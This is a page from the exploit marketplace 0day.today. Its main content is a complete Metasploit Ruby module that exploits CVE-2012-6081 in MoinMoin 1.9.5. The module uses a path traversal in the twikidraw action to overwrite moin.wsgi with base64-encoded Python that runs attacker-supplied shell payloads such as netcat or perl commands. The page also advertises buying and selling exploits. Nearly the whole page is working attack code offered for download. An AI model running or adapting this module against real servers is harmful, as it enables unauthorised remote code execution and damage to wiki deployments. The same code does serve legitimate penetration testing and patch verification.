0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MoinMoin twikidraw Action Traversal File Upload Vulnerability
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'MoinMoin twikidraw Action Traversal File Upload', 'Description' => %q{ This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability exists on the manage of the twikidraw actions, where a traversal path can be used in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi configurations by overwriting moin.wsgi, which allows to execute arbitrary python code, as exploited in the wild on July, 2012. The user is warned to use this module at his own risk since it's going to overwrite the moin.wsgi file, required for the correct working of the MoinMoin wiki. While the exploit will try to restore the attacked application at post exploitation, correct working after all isn't granted. }, 'Author' => [ 'Unknown', # Vulnerability discovery 'HTP', # PoC 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-6081' ], [ 'OSVDB', '88825' ], [ 'BID', '57082' ], [ 'EDB', '25304' ], [ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ], [ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ] ], 'Privileged' => false, # web server context 'Payload' => { 'DisableNops' => true, 'Space' => 16384, # Enough one to fit any payload 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet netcat perl' } }, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'MoinMoin 1.9.5', { }]], 'DisclosureDate' => 'Dec 30 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]), OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]), OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) ], self.class) end def moinmoin_template(path) template =[] template << "# -*- coding: iso-8859-1 -*-" template << "import sys, os" template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path)) template << "from MoinMoin.web.serving import make_application" template << "application = make_application(shared=True)" return template end def restore_file(session, file, contents) first = true contents.each {|line| if first session.shell_command_token("echo \"#{line}\" > #{file}") first = false else session.shell_command_token("echo \"#{line}\" >> #{file}") end } end # Try to restore a basic moin.wsgi file with the hope of making the # application usable again. # Try to search on /usr/local/share/moin (default search path) and the # current path (apache user home). Avoiding to search on "/" because it # could took long time to finish. def on_new_session(session) print_status("Trying to restore moin.wsgi...") begin files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null") files.split.each { |file| print_status("#{file} found! Trying to restore...") restore_file(session, file, moinmoin_template(file)) } files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null") files.split.each { |file| print_status("#{file} found! Trying to restore...") restore_file(session, file, moinmoin_template(file)) } print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.") rescue print_warning("Error while restring moin.wsgi, manual restoring would be required.") end end def do_login(username, password) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(@base, @page), 'vars_post' => { 'action' => 'login', 'name' => username, 'password' => password, 'login' => 'Login' } }) if not res or res.code != 200 or not res.headers.include?('Set-Cookie') return nil end return res.get_cookies end def upload_code(session, code) vprint_status("Retrieving the ticket...") res = send_request_cgi({ 'uri' => normalize_uri(@base, @page), 'cookie' => session, 'vars_get' => { 'action' => 'twikidraw', 'do' => 'modify', 'target' => '../../../../moin.wsgi' } }) if not res or res.code != 200 or res.body !~ /ticket=(.*?)&target/ vprint_error("Error retrieving the ticket") return nil end ticket = $1 vprint_good("Ticket found: #{ticket}") my_payload = "[MARK]#{code}[MARK]" post_data = Rex::MIME::Message.new post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"") post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"") my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(@base, @page), 'cookie' => session, 'vars_get' => { 'action' => 'twikidraw', 'do' => 'save', 'ticket' => ticket, 'target' => '../../../../moin.wsgi' }, 'data' => my_data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) if not res or res.code != 200 or not res.body.empty? vprint_error("Error uploading the payload") return nil end return true end def check @base = target_uri.path @base << '/' if @base[-1, 1] != '/' res = send_request_cgi({ 'uri' => normalize_uri(@base) }) if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/ return Exploit::CheckCode::Detected elsif res return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Safe end def writable_page?(session) res = send_request_cgi({ 'uri' => normalize_uri(@base, @page), 'cookie' => session, }) if not res or res.code != 200 or res.body !~ /Edit \(Text\)/ return false end return true end def exploit # Init variables @page = datastore['WritablePage'] @base = target_uri.path @base << '/' if @base[-1, 1] != '/' # Login if needed if (datastore['USERNAME'] and not datastore['USERNAME'].empty? and datastore['PASSWORD'] and not datastore['PASSWORD'].empty?) print_status("Trying login to get session ID...") session = do_login(datastore['USERNAME'], datastore['PASSWORD']) else print_status("Using anonymous access...") session = "" end # Check authentication if not session fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option") end # Check writable permissions if not writable_page?(session) fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}") end # Upload payload print_status("Trying to upload payload...") python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))" res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))") if not res fail_with(Exploit::Failure::Unknown, "Error uploading the payload") end # Execute payload print_status("Executing the payload...") res = send_request_cgi({ 'uri' => normalize_uri(@base, @page), 'cookie' => session, 'vars_get' => { 'action' => 'AttachFile' } }, 5) end end # 0day.today [2024-11-15] #